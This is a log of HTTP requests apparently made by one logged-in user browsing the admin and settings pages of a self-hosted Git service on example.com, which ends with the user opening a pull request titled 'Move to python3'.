{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
